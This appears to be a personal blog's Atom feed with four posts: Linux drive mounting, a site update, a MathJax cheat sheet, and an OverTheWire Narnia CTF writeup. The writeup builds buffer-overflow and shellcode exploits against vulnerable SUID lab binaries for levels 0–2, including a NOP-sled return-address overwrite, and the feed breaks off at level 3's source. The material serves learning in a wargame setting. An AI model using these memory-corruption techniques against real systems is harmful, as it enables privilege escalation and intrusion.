<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://hos.sh/feed.xml" rel="self" type="application/atom+xml" /><link href="https://hos.sh/" rel="alternate" type="text/html" /><updated>2026-06-02T14:12:16-04:00</updated><id>https://hos.sh/feed.xml</id><title type="html">Rafayet Hossain</title><subtitle>My personal website</subtitle><entry><title type="html">Mounting Bootloaders 101</title><link href="https://hos.sh/posts/mounting-bootloaders-101" rel="alternate" type="text/html" title="Mounting Bootloaders 101" /><published>2026-02-12T00:00:00-05:00</published><updated>2026-02-12T00:00:00-05:00</updated><id>https://hos.sh/posts/mounting-bootloaders-101</id><content type="html" xml:base="https://hos.sh/posts/mounting-bootloaders-101"><![CDATA[<p>This is just a short note for myself as I am currently in my distro-hopping stage. I’ve been testing various bootloaders, as the game has changed over the years w/ more options that aren’t just GRUB, such as rEFInd and Limine.</p>

<p>Simplest way to do this is to load a live CD with a distro of your choice (I am using an arch-based distro here).</p>

<p>On terminal identify drives using <code class="language-plaintext highlighter-rouge">lsblk</code>. All my data is in the nvme0n1 drive, with the large 2tb partition on nvme0n1p2 and the 4 gig partition on nvme0n1p1. You can tell because it’s the biggest one here.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>liveuser@CachyOS ~]<span class="nv">$ </span>lsblk
NAME        MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
loop0         7:0    0  2.7G  1 loop /run/archiso/airootfs
sda           8:0    1 57.8G  0 disk
├─sda1        8:1    1 57.7G  0 part
│ ├─ventoy  253:0    0  2.9G  1 dm
│ └─sda1    253:1    0 57.7G  0 dm
└─sda2        8:2    1   32M  0 part
zram0       252:0    0 30.9G  0 disk <span class="o">[</span>SWAP]
nvme0n1     259:0    0  1.9T  0 disk
├─nvme0n1p1 259:1    0  4.1G  0 part
└─nvme0n1p2 259:2    0  1.9T  0 part
</code></pre></div></div>

<p>I need to mount nvme0n1p2 as <code class="language-plaintext highlighter-rouge">/mnt</code> and then mount nvme0n1p1 inside it, as <code class="language-plaintext highlighter-rouge">/mnt/boot</code> ( sometimes it might be <code class="language-plaintext highlighter-rouge">/mnt/boot/efi</code> or <code class="language-plaintext highlighter-rouge">/mnt/efi</code> depending on how the distro installs it, but it’s rare and sometimes not very important).</p>

<p>If i was using a normal formatted drive (such as ext4) it would go like this:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>liveuser@CachyOS ~]<span class="nv">$ </span><span class="nb">sudo </span>mount /dev/nvme0n1p2 /mnt
<span class="o">[</span>liveuser@CachyOS ~]<span class="nv">$ </span><span class="nb">sudo </span>mount /dev/nvme0n1p1 /mnt/boot
</code></pre></div></div>

<p>However, mine is formatted using btrfs and is LUKS-encrypted, so there’s a few more steps before I can mount nvme0n1p2.</p>

<p>First I need to decrypt the drive:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>liveuser@CachyOS ~]<span class="nv">$ </span><span class="nb">sudo </span>cryptsetup luksOpen /dev/nvme0n1p2 cryptid
Enter passphrase <span class="k">for</span> /dev/nvme0n1p2:
</code></pre></div></div>

<p>This then places a decrpyted version of the volume inside <code class="language-plaintext highlighter-rouge">/dev/mapper/cryptid</code>, in place of the nvme0n1p2. However I can’t mount this directly as btrfs stores data inside subvolumes. All you really need to know is that the subvolume “@” contains the whole drive. So we mount that:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>liveuser@CachyOS ~]<span class="nv">$ </span><span class="nb">sudo </span>mount /dev/mapper/cryptid /mnt <span class="nt">-o</span> <span class="nv">subvol</span><span class="o">=</span>@
<span class="o">[</span>liveuser@CachyOS ~]<span class="nv">$ </span><span class="nb">sudo </span>mount /dev/nvme0n1p1 /mnt/boot
</code></pre></div></div>

<p>And there we go! You can now run the drive using <code class="language-plaintext highlighter-rouge">arch-chroot</code> or something similar, and run the magic commands as needed.</p>]]></content><author><name></name></author><category term="linux" /><summary type="html"><![CDATA[This is just a short note for myself as I am currently in my distro-hopping stage. I’ve been testing various bootloaders, as the game has changed over the years w/ more options that aren’t just GRUB, such as rEFInd and Limine.]]></summary></entry><entry><title type="html">First 2026 Site Update</title><link href="https://hos.sh/posts/first-2026-site-update" rel="alternate" type="text/html" title="First 2026 Site Update" /><published>2026-02-03T00:00:00-05:00</published><updated>2026-02-03T00:00:00-05:00</updated><id>https://hos.sh/posts/first-2026-site-update</id><content type="html" xml:base="https://hos.sh/posts/first-2026-site-update"><![CDATA[<p>Hi, it’s been a long while since the last post… 🤯</p>

<p>I have spent a few days getting this site ready for public viewing, so I had to finish up the home and about pages. I’m going to catch up for future posts, and I have some ideas lined up:</p>

<ul>
  <li>Planning to resume my porting of my old OverTheWire writeups</li>
  <li>
    <p>I’m going to port over &amp; update my QEMU virtual machine guide when I get it running again, so that I can keep things organized for other computers.</p>
  </li>
  <li>I might talk about some projects I made with CTP</li>
</ul>

<p>In addition to some site updates that I’ll get on:</p>

<ul>
  <li>
    <p>Improve my assets page for better organization</p>
  </li>
  <li>
    <p>Some kind of view/like counter</p>
  </li>
  <li>
    <p>A secret page???</p>
  </li>
</ul>]]></content><author><name></name></author><category term="blog" /><summary type="html"><![CDATA[Hi, it’s been a long while since the last post… 🤯]]></summary></entry><entry><title type="html">Mathjax Reference Sheet</title><link href="https://hos.sh/posts/mathjax-reference-sheet" rel="alternate" type="text/html" title="Mathjax Reference Sheet" /><published>2025-09-04T00:00:00-04:00</published><updated>2025-09-04T00:00:00-04:00</updated><id>https://hos.sh/posts/mathjax-reference-sheet</id><content type="html" xml:base="https://hos.sh/posts/mathjax-reference-sheet"><![CDATA[<p>MathJax is a very neat tool when it comes to writing math equations on Markdown (with a compatible note-taking app like Marktext, Logseq or Obsidian). I use it when taking notes for my college courses, instead of trying to write everything on pen and paper. However there’s a lot of syntax and functions baked into it, and It’s not really possible to remember it all. So I assembled this page to put down equations that I most commonly use, as well as some resources that have much more info than what this page provides.</p>

<h3 id="resources">Resources</h3>

<p>Showing this first because it’s probably the first thing you’d want to check out before you scroll further.</p>

<ul>
  <li><a href="https://math.meta.stackexchange.com/questions/5020/mathjax-basic-tutorial-and-quick-reference">MathJax Basic Tutorial and Quick Reference Sheet</a> - The de-facto thread that contains almost everything you need to know, divided by topic. It’s extensive and very long.</li>
  <li><a href="https://detexify.kirelabs.org/classify.html">Detexify</a> - I found this site from the aforementioned thread, and it’s pretty neat. Lets you draw a symbol so that you can get the Mathjax operation for it.</li>
  <li><a href="https://www.cmor-faculty.rice.edu/\\\~heinken/latex/symbols.pdf">LaTeX Mathematical Symbols</a> - Contains most of the commonly used symbols and functions</li>
  <li><a href="https://easy-copy-mathjax.nakaken88.com/en/">Easy Copy MathJax</a> - A list of common single &amp; multi-line equations that you can easily copy &amp; paste, based on topic. I found this useful especially with the <a href="https://easy-copy-mathjax.nakaken88.com/en/matrix/">matrix</a> section.</li>
</ul>

<h3 id="formatting">Formatting</h3>

<blockquote>
  <p>I provide source code, but you can also right click on an equation to get the functions as well.</p>
</blockquote>

<p>$ a^2 = C_1cos(wt) \rightarrow sin(a)^2_5 $ is <code class="language-latex highlight highlighter-rouge">a<span class="p">^</span>2 = C<span class="p">_</span>1cos(wt) <span class="k">\rightarrow</span> sin(a)<span class="p">^</span>2<span class="p">_</span>5</code></p>

<p>$\sum_{i=1}^{n} $ is <code class="language-latex highlight highlighter-rouge"><span class="k">\sum</span><span class="p">_{</span>i=1<span class="p">}^{</span>n<span class="p">}</span></code></p>

<p>$\frac{x}{y}$ is <code class="language-latex highlight highlighter-rouge"><span class="k">\frac</span><span class="p">{</span>x<span class="p">}{</span>y<span class="p">}</span></code></p>

<p>$\underrightarrow{R_1 \leftrightarrow R_2}$ for arrows under equations: <code class="language-latex highlight highlighter-rouge"><span class="p">$</span><span class="nv">\underrightarrow</span><span class="p">{</span><span class="nb">R</span><span class="p">_</span><span class="m">1</span><span class="nb"> </span><span class="nv">\leftrightarrow</span><span class="nb"> R</span><span class="p">_</span><span class="m">2</span><span class="p">}$</span></code></p>

<p><code class="language-plaintext highlighter-rouge">\\\\</code> starts a new line.</p>

<p>Putting square brackets after <code class="language-plaintext highlighter-rouge">\\\\</code> adds spacing between lines: <code class="language-plaintext highlighter-rouge">\\\\[10px]</code></p>

<p><code class="language-latex highlight highlighter-rouge"><span class="k">\hspace</span><span class="p">{</span>10px<span class="p">}</span></code> adds spacing inside lines, useful for left/right aligning.</p>

<p>Here is all of it combined:</p>

<div class="language-latex highlighter-rouge"><div class="highlight"><pre class="highlight"><code>a<span class="p">^</span>2 + b<span class="p">^</span>2 <span class="k">\hspace</span><span class="p">{</span>10cm<span class="p">}</span>  <span class="k">\\</span><span class="na">[20px]</span>
c<span class="p">^</span>2 <span class="k">\hspace</span><span class="p">{</span>5cm<span class="p">}</span> +d<span class="p">^</span>3
</code></pre></div></div>

<p>You can use <code class="language-plaintext highlighter-rouge">\left</code> and <code class="language-plaintext highlighter-rouge">\right</code> to put brackets to scale an equation:</p>

\[S = \left\{ \begin{bmatrix}
x\\
2x+1
\end{bmatrix} \mid x \text{ is a real number} \right\}\]

<div class="language-latex highlighter-rouge"><div class="highlight"><pre class="highlight"><code>S = <span class="k">\left\{</span> <span class="nt">\begin{bmatrix}</span>
x<span class="k">\\</span>
2x+1
<span class="nt">\end{bmatrix}</span> <span class="k">\mid</span> x <span class="k">\text</span><span class="p">{</span> is a real number<span class="p">}</span> <span class="k">\right\}</span>
</code></pre></div></div>

<h3 id="common-equations">Common equations</h3>

<p><strong>Cases:</strong></p>

\[\begin{cases}
x_1+2x_2-3x_3 = -4 \\
x_1+4x_2-2x_3 = 6 \\
3x_1 -2x_2+2x_3=8
\end{cases}
\begin{bmatrix}
3 &amp; -2 &amp; 4 \\
-2 &amp; 5 &amp; -6 \\
0 &amp; 2 &amp; 7
\end{bmatrix}\]

<div class="language-latex highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">\begin{cases}</span>
x<span class="p">_</span>1+2x<span class="p">_</span>2-3x<span class="p">_</span>3 = -4 <span class="k">\\</span>
x<span class="p">_</span>1+4x<span class="p">_</span>2-2x<span class="p">_</span>3 = 6 <span class="k">\\</span>
3x<span class="p">_</span>1 -2x<span class="p">_</span>2+2x<span class="p">_</span>3=8
<span class="nt">\end{cases}</span>
</code></pre></div></div>

<p><strong>Matrices:</strong></p>

\[\begin{bmatrix}
3 &amp; -2 &amp; 4 \\
-2 &amp; 5 &amp; -6 \\
0 &amp; 2 &amp; 7
\end{bmatrix}\]

<div class="language-latex highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">\begin{bmatrix}</span>
3 <span class="p">&amp;</span> -2 <span class="p">&amp;</span> 4 <span class="k">\\</span>
-2 <span class="p">&amp;</span> 5 <span class="p">&amp;</span> -6 <span class="k">\\</span>
0 <span class="p">&amp;</span> 2 <span class="p">&amp;</span> 7
<span class="nt">\end{bmatrix}</span>
</code></pre></div></div>

<p>Replace <code class="language-plaintext highlighter-rouge">bmatrix</code> with <code class="language-plaintext highlighter-rouge">vmatrix</code> for vertical matrices:</p>

\[\begin{vmatrix}
  a_{21}&amp;a_{22}\\
a_{31}&amp;a_{32}
\end{vmatrix}\]

<p>You can also make this using the standard <code class="language-plaintext highlighter-rouge">array</code>, using <code class="language-plaintext highlighter-rouge">left</code> and <code class="language-plaintext highlighter-rouge">right</code> operators. This is useful if you want a formatting like an augmented matrix:</p>

\[\left[
\begin{array}{cc|c}
  1&amp;2&amp;3\\
  0&amp;0&amp;-6\\
  0&amp;4&amp;4\\
\end{array}
\right|\]

<div class="language-latex highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">\left</span>[
<span class="nt">\begin{array}</span><span class="p">{</span>cc|c<span class="p">}</span>
  1<span class="p">&amp;</span>2<span class="p">&amp;</span>3<span class="k">\\</span>
  0<span class="p">&amp;</span>0<span class="p">&amp;</span>-6<span class="k">\\</span>
  0<span class="p">&amp;</span>4<span class="p">&amp;</span>4<span class="k">\\</span>
<span class="nt">\end{array}</span>
<span class="k">\right</span>|
</code></pre></div></div>

<p><strong>Tables:</strong></p>

\[\begin{array}{r|lll}
 &amp; x &amp; y &amp; \text{Available} \\
\hline
\text{Time} &amp; 12 &amp; 3 &amp; 120 \\
\text{Cost} &amp; 0.2 &amp; 0.4 &amp; 4 \\
\text{Profit} &amp; 2 &amp; 1 &amp; 
\end{array}\]

<div class="language-latex highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">\begin{array}</span><span class="p">{</span>r|lll<span class="p">}</span>
 <span class="p">&amp;</span> x <span class="p">&amp;</span> y <span class="p">&amp;</span> <span class="k">\text</span><span class="p">{</span>Available<span class="p">}</span> <span class="k">\\</span>
<span class="k">\hline</span>
<span class="k">\text</span><span class="p">{</span>Time<span class="p">}</span> <span class="p">&amp;</span> 12 <span class="p">&amp;</span> 3 <span class="p">&amp;</span> 120 <span class="k">\\</span>
<span class="k">\text</span><span class="p">{</span>Cost<span class="p">}</span> <span class="p">&amp;</span> 0.2 <span class="p">&amp;</span> 0.4 <span class="p">&amp;</span> 4 <span class="k">\\</span>
<span class="k">\text</span><span class="p">{</span>Profit<span class="p">}</span> <span class="p">&amp;</span> 2 <span class="p">&amp;</span> 1 <span class="p">&amp;</span> 
<span class="nt">\end{array}</span>
</code></pre></div></div>]]></content><author><name></name></author><category term="mathjax" /><summary type="html"><![CDATA[MathJax is a very neat tool when it comes to writing math equations on Markdown (with a compatible note-taking app like Marktext, Logseq or Obsidian). I use it when taking notes for my college courses, instead of trying to write everything on pen and paper. However there’s a lot of syntax and functions baked into it, and It’s not really possible to remember it all. So I assembled this page to put down equations that I most commonly use, as well as some resources that have much more info than what this page provides.]]></summary></entry><entry><title type="html">OverTheWire Narnia Writeup</title><link href="https://hos.sh/posts/overthewire-narnia-writeup" rel="alternate" type="text/html" title="OverTheWire Narnia Writeup" /><published>2025-08-02T00:00:00-04:00</published><updated>2025-08-02T00:00:00-04:00</updated><id>https://hos.sh/posts/overthewire-narnia-writeup</id><content type="html" xml:base="https://hos.sh/posts/overthewire-narnia-writeup"><![CDATA[<p>After an almost year-long hiatus, I’ve come back to this site to work on the next CTF wargame. This post contains my writeup to all the levels, complete with my thinking process and context.</p>

<p>Narnia helped me learn and understand more about how code works at a binary level, especially with how I could use vulnerabilities in machine code and C code/functions in order to gain higher access, and how I could prevent these issues from happening in my own code.</p>

<p>Previously, my only experience in binary (exploitation) came through computer architecture classes that I took during college, however they mostly dealt with MIPS assembly instead of x86, and relied on illustrations &amp; diagrams. They somewhat helped me with solving these problems, but for the most part, I had to spend the majority of my time researching on my own (and with guidance from some people @ OTW). Nevertheless, it’s been a blast solving all of these levels.</p>

<h3 id="introduction">Introduction</h3>

<p>As usual, we will be using the SSH command  <code class="language-plaintext highlighter-rouge">ssh narnia[LVL]@narnia.labs.overthewire.org -p 2226</code> for this wargame. There won’t be anything on the home folders, instead everything we need to access is in the <code class="language-plaintext highlighter-rouge">/narnia/</code> directory, which includes all the executables and source code. Assume that we are working on that directory.</p>

<p>All passwords will be located on <code class="language-plaintext highlighter-rouge">/etc/narnia_pass/narnia[LVL]</code>. Each level/user only has access to their own password file, but the executables have an SUID bit that will let us run them as the next level, so we can get the passwords ourselves when we gain access to the shell.</p>

<h3 id="level-0">Level 0</h3>

<p>To start this level, we can look at the source code on <code class="language-plaintext highlighter-rouge">narnia0.c</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
    <span class="kt">long</span> <span class="n">val</span><span class="o">=</span><span class="mh">0x41414141</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">20</span><span class="p">];</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"Correct val's value from 0x41414141 -&gt; 0xdeadbeef!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Here is your chance: "</span><span class="p">);</span>
    <span class="n">scanf</span><span class="p">(</span><span class="s">"%24s"</span><span class="p">,</span><span class="o">&amp;</span><span class="n">buf</span><span class="p">);</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"buf: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">buf</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"val: 0x%08x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">val</span><span class="p">);</span>

    <span class="k">if</span><span class="p">(</span><span class="n">val</span><span class="o">==</span><span class="mh">0xdeadbeef</span><span class="p">){</span>
        <span class="n">setreuid</span><span class="p">(</span><span class="n">geteuid</span><span class="p">(),</span><span class="n">geteuid</span><span class="p">());</span>
        <span class="n">system</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"WAY OFF!!!!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="p">...</span>
</code></pre></div></div>

<p>There’s a few things that I’ve noticed from this code:</p>

<ol>
  <li>The scanf function parses the first 24 characters of the input, but <code class="language-plaintext highlighter-rouge">buf</code> is only 20 bits in size.</li>
  <li>We have to change <code class="language-plaintext highlighter-rouge">val</code> to hex 0xdeadbeef to access the shell as narnia1.</li>
  <li><code class="language-plaintext highlighter-rouge">val</code> doesn’t get changed directly.</li>
</ol>

<p>The only way we can change the value is by changing the buffer beyond the 20 bytes it’s allocated towards. Since buffer is 20 bytes and the input allows us to write up to 24, we can write past the buffer in order to change the bytes allocated towards val. This is commonly known as a buffer overflow attack. You can see this for yourself by using an input with size 21, as the value changes to something other than 0x41414141.</p>

<p><img src="/assets/posts/narnia_0_buffer.png" alt="Graph of how we can visualize the buffer" /></p>

<p>We can do this by filling the first 20 letters with any random value, then filling the last 4 bytes with 0xdeadbeef. Note that because this is an x86 machine, bits are little-endian, so we have to reverse our byte order for those 4 bytes. This is as simple as separating it into 0xef, 0xbe, 0xad, then 0xde.</p>

<p>I wrote a C program that will simply print out the input for us. I placed it on <code class="language-plaintext highlighter-rouge">/tmp/</code> then compiled it as <code class="language-plaintext highlighter-rouge">/tmp/prog</code>. This is just one method on how we can print out the bytes, and I’ll occasionally switch how I solve the levels.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mi">5</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"hell"</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">putchar</span><span class="p">(</span><span class="mh">0xef</span><span class="p">);</span>
    <span class="n">putchar</span><span class="p">(</span><span class="mh">0xbe</span><span class="p">);</span>
    <span class="n">putchar</span><span class="p">(</span><span class="mh">0xad</span><span class="p">);</span>
    <span class="n">putchar</span><span class="p">(</span><span class="mh">0xde</span><span class="p">);</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>I ran this by running my program then piping it with narnia/narnia0. While this changed the value correctly, I found an issue where it exits immediatly before I could use the shell. I circumvented this by running cat alongside my compiled program. Something like <code class="language-plaintext highlighter-rouge">(/tmp/prog; cat) | /narnia/narnia0</code>.</p>

<p>Once you get an empty line, you are free to enter any command and get the password to the next level.</p>

<h3 id="level-1">Level 1</h3>

<p>At <code class="language-plaintext highlighter-rouge">narnia1.c</code> we have this:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
    <span class="kt">int</span> <span class="p">(</span><span class="o">*</span><span class="n">ret</span><span class="p">)();</span>

    <span class="k">if</span><span class="p">(</span><span class="n">getenv</span><span class="p">(</span><span class="s">"EGG"</span><span class="p">)</span><span class="o">==</span><span class="nb">NULL</span><span class="p">){</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Give me something to execute at the env-variable EGG</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="n">printf</span><span class="p">(</span><span class="s">"Trying to execute EGG!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">ret</span> <span class="o">=</span> <span class="n">getenv</span><span class="p">(</span><span class="s">"EGG"</span><span class="p">);</span>
    <span class="n">ret</span><span class="p">();</span>
    <span class="p">...</span>
</code></pre></div></div>

<p>The program reads an environment variable that we are supposed to save using the <code class="language-plaintext highlighter-rouge">export</code> command.</p>

<p>However I noticed that the EGG variable is directly setting the function <code class="language-plaintext highlighter-rouge">ret</code>. This means we have to give it some kind of code that will make it run on the program directly. Obviously, plaintext C code will not work.</p>

<p>I found out about something called shellcode, which is basically a just a set of assembly instructions that allow us to run arbritary code. There’s a bunch of random shellcode samples from the internet, such as this <a href="https://shell-storm.org/shellcode/index.html">list from Shell-storm</a>, and the code that I’ve found working for this level is <a href="https://shell-storm.org/shellcode/files/shellcode-606.html">this one</a>, since it is for linux x86 systems and it will run the shell at the currect user ID. You can parse this as one line if you want to.</p>

<p>Once we set the variable with <code class="language-bash highlight highlighter-rouge"><span class="nb">export </span><span class="nv">EGG</span><span class="o">=</span><span class="sb">`</span><span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"</span><span class="se">\x</span><span class="s2">6a</span><span class="se">\x</span><span class="s2">0b</span><span class="se">\x</span><span class="s2">58</span><span class="se">\.</span><span class="s2">.."</span><span class="sb">`</span></code>, we can run the program and get the shell as narnia2!</p>

<h3 id="level-2">Level 2</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="n">argv</span><span class="p">[]){</span>
    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">128</span><span class="p">];</span>

    <span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">==</span> <span class="mi">1</span><span class="p">){</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"Usage: %s argument</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
        <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="n">strcpy</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"%s"</span><span class="p">,</span> <span class="n">buf</span><span class="p">);</span>
    <span class="p">...</span>
</code></pre></div></div>

<p>This one seems similar with level 0, with a potential buffer overflow attack on the <code class="language-plaintext highlighter-rouge">buf</code> array. I know that the <code class="language-plaintext highlighter-rouge">strcpy()</code> function is prone to vulnerabilities as it will copy strings without checking sizes. We can input a string as large as we can, but if it is greater than 128 characters, it will still keep writing to <code class="language-plaintext highlighter-rouge">buf</code>. However, there’s no ordinary variable after it that we can overwrite.</p>

<p>As a test, I ran the program with various string sizes. I have noticed that, with a string of 132 characters, the program segfaults.</p>

<p><img src="/assets/posts/narnia_2_segfault.png" alt="Segfault at 132 chars" /></p>

<p>From what I can understand about assembly, after we go past the <code class="language-plaintext highlighter-rouge">main()</code> variables (which are the 128 chars in the array), the 4 bytes after that hold some kind of frame pointer or padding (which aren’t immediately or fully used, hence the program not crashing on 131 chars), and the 4 bytes right after hold the return address. The return address will be useful here because it’ll tell the program where to jump in memory after executing main. So in total, we need to have 136 characters in our input argument.</p>

<p>However, before we get there, we need to figure out what our payload will be for the first 132 bytes. I decided to use the same shellcode from the previous level, which is 33 bytes. The rest of the space (99 bytes) will be placed on the front of the input, and it will consist of no-operation instructions (0x90 in hex). NOP will basically just skip to the next byte/instruction in assembly without doing anything. That way, we will have space to put our return address in, and it will allow the shellcode to run smoothly.</p>

<p>To find the last 4 bytes for our return memory address, we need to use a debug program like GDB and look at it’s memory when the program crashes. I did this by running <code class="language-plaintext highlighter-rouge">gdb ./narnia </code>, then when the gdb prompt opens up, we can run the program using <code class="language-bash highlight highlighter-rouge">r <span class="sb">`</span>python3 <span class="nt">-c</span> <span class="s2">"print (132*'q')"</span><span class="sb">`</span></code>. When the program crashes, we can see the memory past the stack pointer by doing <code class="language-plaintext highlighter-rouge">x/100xw $esp</code>.</p>

<p>You should keep pressing enter until you find the correct part of memory, which you can tell by seeing a blob of the same hex values (in particular, 0x71 as it is the hex code for the letter q). The address closest to the middle should be the return address, to give it a good enough range so we can re-run the program. I chose 0xffffd540. Just like in the first level, the characters will be in reverse order.</p>

<p><img src="/assets/posts/narnia_2_mem.png" alt="The memory dump" /></p>

<p>Now that we have all the parts needed, we can put it together in one line like so:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./narnia2 <span class="sb">`</span>python3 <span class="nt">-c</span> <span class="s2">"import os; os.write(1, b'</span><span class="se">\x</span><span class="s2">90'*99 + b'</span><span class="se">\x</span><span class="s2">6a...</span><span class="se">\x</span><span class="s2">80' + b'</span><span class="se">\x</span><span class="s2">40</span><span class="se">\x</span><span class="s2">d5</span><span class="se">\x</span><span class="s2">ff</span><span class="se">\x</span><span class="s2">ff')"</span><span class="sb">`</span>
</code></pre></div></div>

<h3 id="level-3">Level 3</h3>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">...</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">){</span>
    <span class="kt">int</span>  <span class="n">ifd</span><span class="p">,</span>  <span class="n">ofd</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">ofile</span><span class="p">[</span><span class="mi">16</span><span class="p">]</span> <span class="o">=</span> <span class="s">"/dev/null"</span><span class="p">;</span>
    <span class="kt">char</span> <span class="n">ifile</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
    <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>

    <span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">){</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"usage, %s file, will send contents of file 2 /dev/null</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span> <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);}</span>

    <span class="cm">/* open files */</span>
    <span class="n">strcpy</span><span class="p">(</span><span class="n">ifile</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
    <span class="k">if</span><span class="p">((</span><span class="n">ofd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">ofile</span><span class="p">,</span><span class="n">O_RDWR</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="p">){</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"error opening %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ofile</span><span class="p">);</span> <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span> <span class="p">}</span>
    <span class="k">if</span><span class="p">((</span><span class="n">ifd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">ifile</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">))</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="p">){</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"error opening %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">ifile</span><span class="p">);</span> <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span> <span class="p">}</span>

    <span class="cm">/* copy from file1 to file2 */</span>
    <span class="n">read</span><span class="p">(</span><span class="n">ifd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
    <span class="n">write</span><span class="p">(</span><span class="n">ofd</span><span class="p">,</span><span class="n">buf</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"copied contents of %s to a safer place... (%s)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">ifile</span><span class="p">,</span><span class="n">ofile</span><span class="p">);</span>
    <span class="p">...</span>
</code></pre></div></div>

